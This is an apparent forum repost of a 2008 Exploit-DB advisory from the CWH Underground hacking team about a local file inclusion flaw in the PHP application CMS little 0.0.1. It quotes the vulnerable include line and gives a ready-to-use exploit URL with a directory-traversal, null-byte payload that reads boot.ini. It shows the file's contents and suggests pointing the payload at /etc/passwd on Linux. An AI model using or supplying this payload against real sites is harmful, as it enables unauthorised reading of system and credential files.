Exploit CMS little 0.0.1 - 'template' Local File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
5992
Проверка EDB
  1. Пройдено
Автор
CWH UNDERGROUND
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-3036
Дата публикации
2008-07-02
Код:
======================================================================
  CMS little (index.php template) Local File Inclusion Vulnerability
======================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 2 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : CMS little
 VERSION     : 0.0.1
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/littlecms/CMSLite.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

@Line 
   64:  include $currentpage[template];
   65:  } else {
   66:	include $template.".tmpl.php";

---------
 Exploit
---------

[+] http://[Target]/[cmslite_path]/index.php?template=[LFI]


------
 POC
------

[+] http://[Target]/[cmslite_path]/index.php?template=../../../../../../../../boot.ini%00


    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.
##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-07-02]
 
Источник
www.exploit-db.com

Похожие темы